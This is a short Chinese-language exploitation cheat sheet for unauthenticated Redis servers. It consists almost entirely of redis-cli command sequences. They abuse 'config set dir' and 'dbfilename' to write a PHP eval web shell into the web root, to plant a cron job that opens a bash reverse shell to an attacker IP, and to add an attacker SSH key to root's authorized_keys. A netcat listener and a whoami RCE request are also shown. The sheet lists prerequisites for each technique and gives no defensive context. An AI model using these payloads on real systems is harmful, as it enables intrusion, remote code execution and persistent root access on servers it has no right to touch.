redis-cli -h <host> 127.0.0.1:6379> config set dir <dir> 127.0.0.1:6379> config set dbfilename <file_name> 127.0.0.1:6379> set x "<shell>" 127.0.0.1:6379> save
写入PHP脚本
漏洞利用前提
服务器开放了包含PHP解析器的Web服务,且已知端口为80
已知网站根目录的路径
exp
/var/www/html:网站根目录的路径
1 2 3 4 5
redis-cli -h <host> 127.0.0.1:6379> config set dir /var/www/html 127.0.0.1:6379> config set dbfilename x.php 127.0.0.1:6379> set x "<?php eval($_REQUEST[x]);?>" 127.0.0.1:6379> save
脚本利用
RCE远程代码执行
request
1
GET http://127.0.0.1:80/?x=system('whoami')
写入反弹Shell定时任务
漏洞利用前提
服务器防火墙允许向外发送请求
Redis配置文件中的protected-mode处于关闭状态
exp
<ip>:攻击者IP地址 <port>:攻击者端口号
1 2 3 4 5
redis-cli -h <host> 127.0.0.1:6379> config set dir /var/spool/cron 127.0.0.1:6379> config set dbfilename x 127.0.0.1:6379> set x "\n* * * * * /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1\n" 127.0.0.1:6379> save
脚本利用
反弹Shell
1
nc -lvp <port>
写入SSH公钥
漏洞利用前提
服务器启用了SSH服务,且已知端口为22
Redis配置文件中的protected-mode处于关闭状态
SSH配置文件允许使用密钥登录
Redis服务是由root用户启动的
exp
攻击者生成公钥,并利用Redis写入文件到受害者
1 2 3 4 5 6 7
ssh-keygen -t rsa (echo -e "\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n") > key.txt cat key.txt | redis-cli -h <host> -x set x redis-cli -h <host> 127.0.0.1:6379> config set dir /root/.ssh 127.0.0.1:6379> config set dbfilename authorized_keys 127.0.0.1:6379> save